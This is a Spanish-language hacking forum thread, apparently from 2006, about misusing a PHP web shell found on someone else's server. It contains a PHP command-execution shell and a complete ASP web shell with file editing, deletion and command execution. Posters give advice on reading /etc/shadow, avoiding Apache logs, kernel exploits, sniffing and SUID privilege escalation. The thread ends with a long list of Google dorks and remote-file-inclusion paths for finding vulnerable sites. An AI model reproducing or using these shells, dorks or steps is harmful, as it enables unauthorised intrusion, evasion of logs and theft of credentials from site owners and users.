Help - Search - Members - Calendar
Full Version: php shell
Hackerss.com > Informática > Hacking > Hacking Web
root
Hola...
encontre shell.php en un servidor que contiene esto:

<?php
echo "_START_multiRFI_limit_multiRFI_limit_multiRFI_\n";
ini_set("max_execution_time",0);
error_reporting(0);
passthru($_REQUEST[cmd]);
echo "\n_END_multiRFI_limit_multiRFI_limit_multiRFI_\n";
?>

bien resulta que ejecute:
http://www.host.com/shell.php?cmd=cat%20/etc/passwd
y obtube



Que tengo que hacer para consegir el password de uno de los usuarios?
nekro
buscar en el /etc/shadow pero dudo que tengas permisos para leerlo
winsmurf
y como nobody???

El r0nin creo que hacia eso..
benek
seguridad web..

pongan atención en el subforo por favor..

movido..
Alluz
1. No uses esa shell porque hace request a través del método GET y queda en los logs de apache/IIS
2. Sube una shell por método POST, la famosa c99 te puede servir.
3. Como me da pereza volvaras a subir, En este post de otro foro al cual pertenesco subí unas shells.
4. Saca la versión del kernel y busca exploit para tratar de rootear.
5. Si no es posible, un sniffer
6. Escalar privilegios a partir de suid (lee el cap 4 del libro How to own a continent, Bajar aquí escalación de privilegios en mac/unix)
elvispresley
bueno si kieres checa esta shell..

Shell

es la ke uso

winsmurf
esta buena tu shell elvis
elvispresley
bueno pongo la shell en un txt xD
Lautarox
Es la comun c99 shell
_aJoS_
Si muy buena esa shell, ya he trabajado con ella, solo que siempre he tenido un problema con el index xD...
hasta que alfin aportas algo bueno elvias...

Atte:
_aJoS_
elvispresley
no te digo anda bro por ke respetoa las mujeres dry.gif
ChElAnO

una pregunta algo fuera de tema,

aun se puede buscar sitios vulnerables desde google con

allinurl:*.php?=*.php

?

la otra vez probe y pues no me saltaba nada,

saludos
winsmurf
hay una utlidad pàra buscar webs con RFI
elvispresley
no hay nada como el google y un poco de paciencia...

como dicen pro ahi arriba inurl:"index.php?page="

o tambien ponle (intitle:r57shell | intitle:c99shell) + uname

y listo
root
muchas gracias por c99shell muy util tongue.gif
Bucio
sipoos la c999 shell es muy facil de usar y bonita xD
Lautarox
Busken la v16 de la c99 q esta muy wena xD
winsmurf
la tenis tu popr ahi wn?
elvispresley
ahi si alguien tiene una en asp se la encargo no xD
root
QUOTE(elvispresley @ Dec 23 2006, 03:18 PM) [snapback]24384[/snapback]
ahi si alguien tiene una en asp se la encargo no xD


[codebox]<%
Propiedad = "www.elhacker.net"

' Este shell servirá en servidores con una mala configuración si el servidor NO ES vulnerable MANDARA ERRORES
' Esta herramienta ha sido creada para ayudar a los administradores a probar la configuración de su IIS
' NO ME HAGO RESPONSABLE POR EL MAL USO QUE SE LE DE A ESTA HERRAMIENTA
' Cualquier comentario y mejora se agradecerá morris@elhacker.net
' Este material es educacional y se debe de usar de la misma forma
' Si encuentras un servidor vulnerable que no sea tuyo, avisa al administrador. El te lo agradecerá.

' http://foro.elhacker.net/index.php/topic,56790.0.html
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####
' ##### ##### ##### ##### VISITANOS EN ##### ##### ##### #####
' ##### ##### ##### ##### FORO.elhacker.net ##### ##### ##### #####
' ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### ##### #####

' Code by Morris

' #### #### ##### ###### ###### ## ####
' #### ##### # # ## # ## # ## #
' ## # # ## # # ## ### ## ### ## #####
' ## # # ## # # ## # ## # ## #
' ## # ## ##### ## # ## # ## #####


ON ERROR RESUME NEXT
Archivo = "myshell.asp"
Accion = Request.QueryString("Accion")
Path = Request.QueryString("Path")
IF Path = "" THEN
Path = Server.MapPath(".")
END IF
PathFile = Request.QueryString("PathFile")

' Crea instancia del FileSystemObject
Set MyFileObject=Server.CreateObject("Scripting.FileSystemObject")
' Create el objeto Folder
Set MyFolder=MyFileObject.GetFolder(Path)
'Loop a través de los folders

FUNCTION MapURL(path)
ON ERROR RESUME NEXT
dim rootPath, url

'Convierte la ruta fisica por una virtual para abrir los archivos

rootPath = Server.MapPath("/")
url = Right(path, Len(path) - Len(rootPath))
MapURL = Replace(url, "\", "/")

END FUNCTION

' RetVal = Shell("C:\WINDOWS\CALC.EXE", 1) ' Run Calculator.
'response.Write(Path)
%>

<%
IF Propiedad = "" OR Propiedad <> "www.elhacker.net" THEN
Response.Write("<h1><font color=Red>Maldito lammer no borres la propiedad de este código - <br>Propiedad www.elhacker.net - foro.elhacker.net</font></h1>")
Response.end
END IF
IF Accion = "Guardar" THEN

Set MyOutStream=MyFileObject.OpenTextFile(PathFile, 2, TRUE)
MyOutStream.Write(Request.Form("texto"))
MyOutStream.Close
%>
La información ha sido guardada.
<br>
<a href="java script:history.go(-2)">Regresar</a>
<%
END IF

IF Accion = "Ejecutar" THEN
On Error Resume Next
Dim Shell, Ejecutar
Set Shell = CreateObject("WScript.Shell")
Archivo = Request.QueryString("Archivo")
Set Ejecutar = Shell.Exec(Archivo)
Do While Ejecutar.Status = 0
WScript.Sleep 100
Loop
WScript.Echo Ejecutar.Status
Response.Write("done")
END IF

IF Accion = "Nuevo" THEN
Archivo = Request.QueryString("Archivo")
IF Archivo = "" THEN
Archivo = "ArchivoNuevo.txt"
END IF

Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.CreateTextFile(PathFile & "\" & Archivo, True)
MyFile.WriteLine("This is a test.")
MyFile.Close
END IF

IF Accion = "Borrar" THEN
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile(PathFile)
MyFile.Delete
END IF

IF Accion = "Editar" THEN%>

<form action="<%=Archivo%>?Accion=Guardar&PathFile=<%=PathFile%>" method="post">
<textarea name="texto" cols=100 rows=25>
<%
Set MyTextFile = MyFileObject.OpenTextFile(PathFile)
WHILE NOT MyTextFile.AtEndOfStream
Response.Write( Server.HTMLEncode(MyTextFile.ReadLine) & Chr(10))
WEND
MyTextFile.Close
%>
</textarea>
<BR>
<input type=submit value="Guardar">
</form>


<%
Response.end
END IF
%>
<HTML>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#000000" VLINK="#000000">
<p><BR>
<B>ASPShell by Morris - Version 1.0 - <a href="http://www.elhacker.net">elhacker.net</a></B><BR>
</p>
<form action="<%=Archivo%>">
<input name="Accion" type="hidden" value="Ruta">
<input name="Path" type="text" id="Path" value="<%=Path%>" size="70">
<input type="submit" value="Ir">
</form>
<br>

<TABLE BORDER=0 CELLPADDING=3 CELLSPACING=0 width="100%">
<TR BGCOLOR="#000000">
<TD><FONT COLOR="#FFFFFF"><B>Nombre de Archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Acciones:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tamaño:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Tipo de archivo:</B></FONT></TD>
<TD><FONT COLOR="#FFFFFF"><B>Fecha de creación:</B></FONT></TD>

<%
FOR EACH thing in MyFolder.SubFolders
ON ERROR RESUME NEXT
%>
<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>">[ <%=thing.Name%> ]</A></TD>
<TD></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
'Loop a través de los archivos
FOR EACH thing in MyFolder.Files
ON ERROR RESUME NEXT
url = MapURL(thing.path)
%>


<TR BGCOLOR="#F7F7E7">
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>\<%=thing.Name%>&Accion=Editar"><%=thing.Name%></A></TD>
<TD><A HREF="<%=Archivo%>?Path=<%=Path%>&PathFile=<%=Path%>\<%=thing.Name%>&Accion=Borrar">Borar</A></TD>
<TD ALIGN=RIGHT><%=thing.Size%>bytes</TD>
<TD><%=thing.Type%></TD>
<TD><%=thing.DateCreated%></TD>
<%
NEXT
%>
</TABLE>


Total de directorios
<%
Response.Write(MyFolder.SubFolders.Count )
%>

Total de archivos
<%
Response.Write(MyFolder.Files.Count )
%>
<br><br>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Nuevo">
<input name="Archivo" type="text" id="Archivo" value="Nombre Archivo.ext">
<input name="Submit" type="submit" value="Nuevo Archivo">
</form>
<strong><font color="#FF0000">Lo más recomendable es subir un .bat y ejecutar ese archivo poniendo la ruta completa hasta el .bat </font></strong>
<form name="form1" action="<%=Archivo%>">
<input name="Path" type="hidden" value="<%=Path%>/archivo.bat">
<input name="PathFile" type="hidden" value="<%=Path%>">
<input name="Accion" type="hidden" value="Ejecutar">
<input name="Archivo" type="text" id="Archivo" value="<%Path%>">
<input name="Submit" type="submit" value="Ejecutar">
</form>

</BODY>
</HTML>

<%
Response.Write("Visitanos en foro.elhacker.net")
%>[/codebox]
pronx
para buscar en san google:

/surveys/survey.inc.php?path= inurl:surveys
index.php?body= inurl:"index.php?body="
/classes/adodbt/sql.php?classes_dir= allinurl:adobt site:pl
enc/content.php?Home_Path= "powered by doodle cart"
/classified_right.php?language_dir= inurl:classified.php phpbazar
/sources/functions.php?CONFIG[main_path]= "(Powered By ScozNews)"
/sources/template.php?CONFIG[main_path]= "(Powered By ScozNews)"
/embed/day.php?path= intitle:"Login to Calendar"
/includes/dbal.php?eqdkp_root_path= "powered by EQdkp"
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]= "Powered By Aardvark Topsites PHP 4.2.2"
/includes/kb_constants.php?module_root_path= "Powered by Knowledge Base"
/mcf.php?content= allinurl:"mcf.php" site:.de
/components/com_facileforms/facileforms.frame.php?ff_compath= allinurl:"com_facileforms" site:.ar
skins/advanced/advanced1.php?pluginpath[0]= "Sabdrimer CMS"
/zipndownload.php?PP_PATH= "Powered by: PhotoPost PHP 4.6"
/administrator/components/com_serverstat/install.serverstat.php?mosConfig_absolute_path= inurl:"com_serverstat"
/components/com_zoom/includes/database.php?mosConfig_absolute_path= inurl:"index.php?option="com_zoom"
/main.php?sayfa= inurl:"main.php?sayfa="
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path= allinurl:com_extended_registration
/addpost_newpoll.php?addpoll=preview&thispath= allinurl:"/ubbthreads/"
/header.php?abspath= "MobilePublisherPHP"
components/com_performs/performs.php?mosConfig_absolute_path= inurl:"com_performs"
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= inurl:index.php?option=com_remository
impex/ImpExData.php?systempath= intext:powered by vbulletin
/modules/vwar/admin/admin.php?vwar_root= allinurl:vwar site:.com
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]= "powered by phpCOIN 1.2.3"
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= inurl:.com/index.php?option=com_remository
/tools/send_reminders.php?includedir= allinurl:day.php?date=
/skin/zero_vote/error.php?dir= skin/zero_vote/error.php
/modules/TotalCalendar/about.php?inc_dir= allinurl:/TotalCalendar
/login.php?dir= allinurl:login.php?dir=
/tags.php?BBCodeFile= intitle:"Tagger LE" inurl:tags.php
index.php?pageurl= inurl:"index.php?pageurl=*.php"
/templates/headline_temp.php?nst_inc= allintitle:fusion:news:management:system
index.php?var= inurl:"index.php?var=*.php"
index.php?pagina= inurl:"index.php?pagina=*.php"
index.php?go= inurl:"index.php?go="
index.php?site= inurl:"index.php?site="
phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root= inurl:"phpwcms/index.php?id="
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= inurl:".com.*/index.php?option=com_comprofiler"
index.php?pagina= inurl:"index.php?pagina=*.php"
index.php?id= inurl:"index.php?id=*.php"
index1.php?= inurl:"index1.php?=*.php?
index.php?site= inurl:"index.php?site=*.php"
main.php?id= inurl:"main.php?id=*.php"
content.php?page= inurl:"content.php?page=*.php"
admin.php?page= inurl:"admin.php?page=*.php"
lib/gore.php?libpath= inurl:"/SQuery/"
SQuery/lib/gore.php?libpath= inurl:"/SQuery/"
index2.php?p= inurl:"index2.php?p=*.php"
index1.php?go= inurl:"index1.php?go=*.php"
news_detail.php?file= inurl:"news_detail.php?file=*.php"
old_reports.php?file= inurl:"old_reports.php?file=*.php"
index.php?x= inurl:"index.php?x=*.php"
index.php?nic= inurl:"index.php?nic=*.php"
homepage.php?sel= inurl:"homepage.php?sel=*.php"
index.php?sel= inurl:"index.php?sel=*.php"
main.php?x= inurl:"main.php?x=*.php"
components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path= "inurl:com_artlinks"
index2.php?x= inurl:index2.php?x=*.php"
main.php?pagina= inurl:"main.php?pagina=*.php"
test.php?page= allinurl:test.php?page=
components/com_phpshop/toolbar.phpshop.html.php?mosConfig_absolute_path= "inurl:com_phpshop"
akocomments.php?mosConfig_absolute_path= inurl:akocomments.php
index.php?page= inurl:"edu/index.php?page=*.php"
*.php?page= inurl:*.php?page=*.php"
index.php?oldal= inurl:"index.php?oldal=*.php"
index.php?lang=gr&file inurl:"index.php?lang=gr&file=*.php"
index.php?pag= inurl:"index.php?pag=*.php"
index.php?incl= inurl:"index.php?incl="
avatar.php?page= inurl:"avatar.php?page="
index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path= "Mambo is A Free
index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path= "Mambo is"
ndex.php?p= inurl:"edu/index.php?p=*.php"
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= allinurl:/xgallery/
index.php?x= inurl:"com/index.php?x=*.php"
index.php?mode= inurl:"com/index.php?mode=*.php"
index.php?stranica= inurl:"index.php?stranica="
index.php?sub= inurl:"il/index.php?sub=*.php"
index.php?id= inurl:"/index.php?id=*.php"
index.php?t= inurl:"/index.php?t=*.php"
index.php?r= inurl:"index.php?r=*.php"
index.php?menu= inurl:"net/index.php?menu=*.php"
index.php?pag= inurl:"com/index.php?pag=*.php"
solpot.html?body= allinurl: "solpot.html?body"
port.php?content= inurl:port.php?content=*.php"
index0.php?show= inurl:index0.php?show=*.php"
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= inurl:/index.php?option=com_comprofiler"
/tools/send_reminders.php?includedir= allinurl:day.php?date= inurl:/day.php?date=
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= inurl:/index.php?option=com_remository
/tags.php?BBCodeFile= intitle:"Tagger LE" inurl:tags.php site:br
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= inurl:/index.php?option=com_comprofiler"
content.php?page= inurl:"*content.php?page=*.php"
index.php?topic= inurl:"/index.php?topic=*.php"
index.php?u= inurl:"/index.php?u=*.php"
administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path= inurl:"com_linkdirectory"
administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir= inurl:".tr./components"
modules/My_eGallery/index.php?basepath= inurl:"My_eGallery"
/modules/vwar/admin/admin.php?vwar_root= inurl:"vwar"
index.php?loc= allinurl:.br/index.php?loc=
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= inurl:"us/index.php?option=com_comprofiler"
administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir= inurl:"com_cropimage"
/tags.php?BBCodeFile= intitle:"Tagger LE" inurl:tags.php
myevent.php?myevent_path= inurl:myevent.php
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path= allinurl:"com_uhp"
myevent.php?myevent_path= inurl:"uk/myevent.php
includes/functions.php?phpbb_root_path= powered by Integramod
m2f/m2f_phpbb204.php?m2f_root_path= allinurl:/m2f_usercp.php?
/tags.php?BBCodeFile= intitle:"Tagger LE" inurl:"uk/tags.php
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= inurl:"us/index.php?option=com_remository
show.php?path= inurl:fclick
show.php?path= inurl:.ac.uk/fclick
administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path= inurl:".de.*/com_linkdirectory"
administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site= inurl:"com_a6mambocredits"
index.php?template= inurl:"index.php?"
search.php?cutepath= inurl:"search.php?"
show_news.php?cutepath= inurl:"show_news.php?"
page.php?doc= allinurl:"page.php?doc="
administrator/components/com_webring/admin.webring.docs.php?component_dir= inurl:"com_webring"
administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path= inurl:".de.*/com_mgm"
help.php?css_path= inurl:phplive site:.ru
components/com_galleria/galleria.html.php?mosConfig_absolute_path= inurl:"com_galleria/"
big.php?pathtotemplate= inurl:".de.*"big.php?"
includes/search.php?GlobalSettings[templatesDirectory]= inurl:".com"search.php?"
interna/tiny_mce/plugins/ibrowser/ibrowser.php?tinyMCE_imglib_include= "Papoo CMS"
/functions.php?include_path= "powered by: phpecard"
modules/My_eGallery/index.php?basepath= inurl:".de.*"My_eGallery"
components/com_galleria/galleria.html.php?mosConfig_absolute_path= inurl:".net.*"com_galleria/"
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]= "powered by CubeCart 3.0.6"
/class.mysql.php?path_to_bt_dir= "powered by paBugs 2.0 Beta 3"
/include/footer.inc.php?_AMLconfig[cfg_serverpath]= "powered by AllMyLinks"
/squirrelcart/cart_content.php?cart_isp_root= allinurl:/squirrelcart/
index2.php?to= inurl:"/index2.php?to=*.php"
index.php?load= inurl:"/index.php?load=*.php"
home.php?pagina= inurl:"home.php?pagina="
/modules/coppermine/include/init.inc.php?CPG_M_DIR= allinurl:modules.php?name=coppermine
/modules/Forums/admin/admin_styles.php?phpbb_root_path= allinurl:modules.php?name=forums
/modules/vwar/admin/admin.php?vwar_root= allinurl:modules.php?name=vwar
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path= allinurl:modules.php?name=PNphpBB2
/modules/My_eGallery/public/displayCategory.php?basepath= allinurl:modules.php?name=my_egallery
/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR= allinurl:modules.php?name=xgallery
/modules/4nAlbum/public/displayCategory.php?basepath= allinurl:modules.php?name=4nAlbum
/include/write.php?dir= allinurl:/zboard/zboard.php
db.php?path_local= inurl:"db.php?path_local="
index.php?site= inurl:"index.php?site="
index.php?url= inurl:"index.php?url="
index.php?p= inurl:"index.php?p="
index.php?openfile= inurl:"index.php?openfile="
index.php?file= inurl:"index.php?file="
index.php?go= inurl:"index.php?go="
index.php?content= inurl:"index.php?content="
index.php?side= inurl:"index.php?side="
index.php?kobr= inurl:"index.php?kobr="index.php?pg= inurl:"index.php?pg="
index.php?doc= inurl:"index.php?doc="
index.php?l= inurl:"index.php?l="
index.php?a= inurl:"index.php?a="
index.php?principal= inurl:"index.php?principal="
index.php?show= inurl:"index.php?show="
index.php?opcao= inurl:"index.php?opcao="
index.php?conteudo= inurl:"index.php?conteudo="
index.php?meio= inurl:"index.php?meio="
index.php?inc= inurl:"index.php?inc="
index.php?c= inurl:"index.php?c="
index.php?rage= inurl:"index.php?rage="
index.php?arquivo= inurl:"index.php?arquivo="
index.php?nic= inurl:"index.php?nic="
index.php?x= inurl:"index.php?x="
components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?mosConfig_absolute_path= inurl:"com_mtree"
index.php?place= inurl:"index.php?place="
index.php?show= inurl:"index.php?show="
index.php?dsp= inurl:"index.php?dsp="
index.php?dept= inurl:"index.php?dept="
index.php?lg= inurl:"index.php?lg="
index.php?inhalt= inurl:"index.php?inhalt="
index.php?ort= inurl:"index.php?ort="
index.php?pilih= inurl:"index.php?pilih="
principal.php?conteudo= inurl:"principal.php?conteudo="
main.php?site= inurl:"main.php?site="
template.php?pagina= inurl:"template.php?pagina="
contenido.php?sec= inurl:"contenido.php?sec="
index_principal.php?pagina= inurl:"index_principal.php?pagina="
template.php?name= inurl:"template.php?name="
forum.php?act= inurl:"forum.php?act="
home.php?action= inurl:"home.php?action="
home.php?pagina= inurl:"home.php?pagina="
noticias.php?arq= inurl:"noticias.php?arq="
main.php?x= inurl:"main.php?x="
main.php?page= inurl:"main.php?page="
default.php?page= inurl:"default.php?page="
index.php?cont= inurl:"index.php?cont="
index.php?configFile= inurl:"index.php?configFile="
index.php?meio.php= inurl:"index.php?meio.php="
index.php?include= inurl:"index.php?include="
index.php?open= inurl:"index.php?open=
index.php?visualizar= inurl:"index.php?visualizar="
index.php?x= inurl:"index.php?x="
index.php?pag= inurl:"index.php?pag="
index.php?cat= inurl:"index.php?cat="
index.php?action= inurl:"index.php?action="
index.php?do= inurl:"index.php?do="
index2.php?x= inurl:"index2.php?x="
index2.php?content= inurl:"index2.php?content="
main.php?pagina= inurl:"main.php?pagina="
index.phpmain.php?x= inurl:"index.phpmain.php?x="
index.php?link= inurl:"index.php?link="
index.php?canal= inurl:"index.php?canal="
index.php?screen= inurl:"index.php?screen="
index.php?langc= inurl:"index.php?langc="
services.php?page= inurl:"services.php?page="
htmltonuke.php?filnavn= inurl:"htmltonuke.php?filnavn="
ihm.php?p= inurl:"ihm.php?p="
default.php?page= inurl:"default.php?page="
folder.php?id= inurl:"folder.php?id="
index.php?Load= inurl:"index.php?Load="
index.php?Language= inurl:"index.php?Language="
hall.php?file= inurl:"hall.php?file="
hall.php?page= inurl:"hall.php?page="
template.php?goto= inurl:"template.php?goto="
video.php?content= inurl:"video.php?content="
pages.php?page= inurl:"pages.php?page="
print.php?page= inurl:"print.php?page="
show.php?page= inurl:"show.php?page="
view.php?page= inurl:"view.php?page="
media.php?page= inurl:"media.php?page="
index1.php?choix= inurl:"index1.php?choix="
index1.php?menu= inurl:"index1.php?menu"
index.php?ort= inurl:"index.php?ort="
index2.php?showpage= inurl:"index2.php?showpage="
index2.php?ascii_seite= inurl:"index2.php?ascii_seite="
index2.php?DoAction= inurl:"index2.php?DoAction="
index2.php?ID= inurl:"index2.php?ID="
index2.php?url_page= inurl:"index2.php?url_page="
index1.php?dat= inurl:"index1.php?dat="
index1.php?site= inurl:"index1.php?site="
index0.php?show= inurl:"index0.php?show="
home.php?content= inurl:"home.php?content="
port.php?content= inurl:"port.php?content="
main.php?link= inurl:"main.php?link="
home.php?x= inurl:"home.php?x="
index1.php?x= inurl:"index1.php?x="
index2.php?x= inurl:"index2.php?x="
main.php?x= inurl:"main.php?x="
homepage.php?sel= inurl:"homepage.php?sel="
/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR= allinurl:/xoopsgallery/
/modules/agendax/addevent.inc.php?agendax_path= allinurl:/agendax/
/include/main.php?config[search_disp]=true&include_dir= allinurl:/osticket/
/contrib/yabbse/poc.php?poc_root_path= ntitle:PHPOpenChat ext:php
/phpopenchat/contrib/yabbse/poc.php?sourcedir= ntitle:PHPOpenChat ext:php
/photoalb/lib/static/header.php?set_menu= allintitle:iPhotoAlbum
/squito/photolist.inc.php?photoroot= "Squitosoft All Rights Reserved"
/bz/squito/photolist.inc.php?photoroot= "Squitosoft All Rights Reserved"
/ppa/inc/functions.inc.php?config[ppa_root_path]= allinurl:**/screens/displayimage.php?pid=*
/spid/lang/lang.php?lang_path= allinurl:**/spid.php allinurl:**/spid.php?cat=*lang=
/classes.php?LOCAL_PATH= "powered by siteframe"
al_initialize.php?alpath= "Powered by AutoLinks Pro"
/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]= allinurl:*br*/newbb_plus/*
/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= "Powered by Mambo" inurl:*gov*
/extensions/moblog/moblog_lib.php?basedir= "powered by pivot"
/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH= "phpCodeGenie v. 3.0.2"
components/com_performs/performs.php?mosConfig_absolute_path= inurl:"com_performs"
modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]= inurl:"AllMyGuests"
/components/com_rsgallery/rsgallery.html.php?mosConfig_absolute_path= allinurl:"com_rsgallery"
/components/com_smf/smf.php?mosConfig_absolute_path= allinurl:"com_smf"
/components/com_cpg/cpg.php?mosConfig_absolute_path= index.php?option=com_cpg
administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path= inurl:"com_peoplebook"
/admin_modules/admin_module_deldir.inc.php?config[path_src_include]= "Powered by yappa-ng 2.3.1"
inc/cmses/aedating4CMS.php?dir[inc]= inurl:flashchat site:br bp_ncom.php?bnrep= "Script réalisé par BinGo PHP"
/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path= inurl:"/com_mtree/"
/jscript.php?my_ms[root]= intitle:"myspeach" inurl:"chat_exemple.php"
/popup_window.php?site_isp_root= inurl:"Squirrelcart"
/yabbse/Sources/Packages.php?sourcedir= inurl:Yabbse
/include/main.php?config[search_disp]=true&include_dir= allinurl:/osticket/ site:fr
/include/main.php?config[search_disp]=true&include_dir= allinurl:/osticket/ site:us
/includes/functions_portal.php?phpbb_root_path= "powered by Integramod"
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.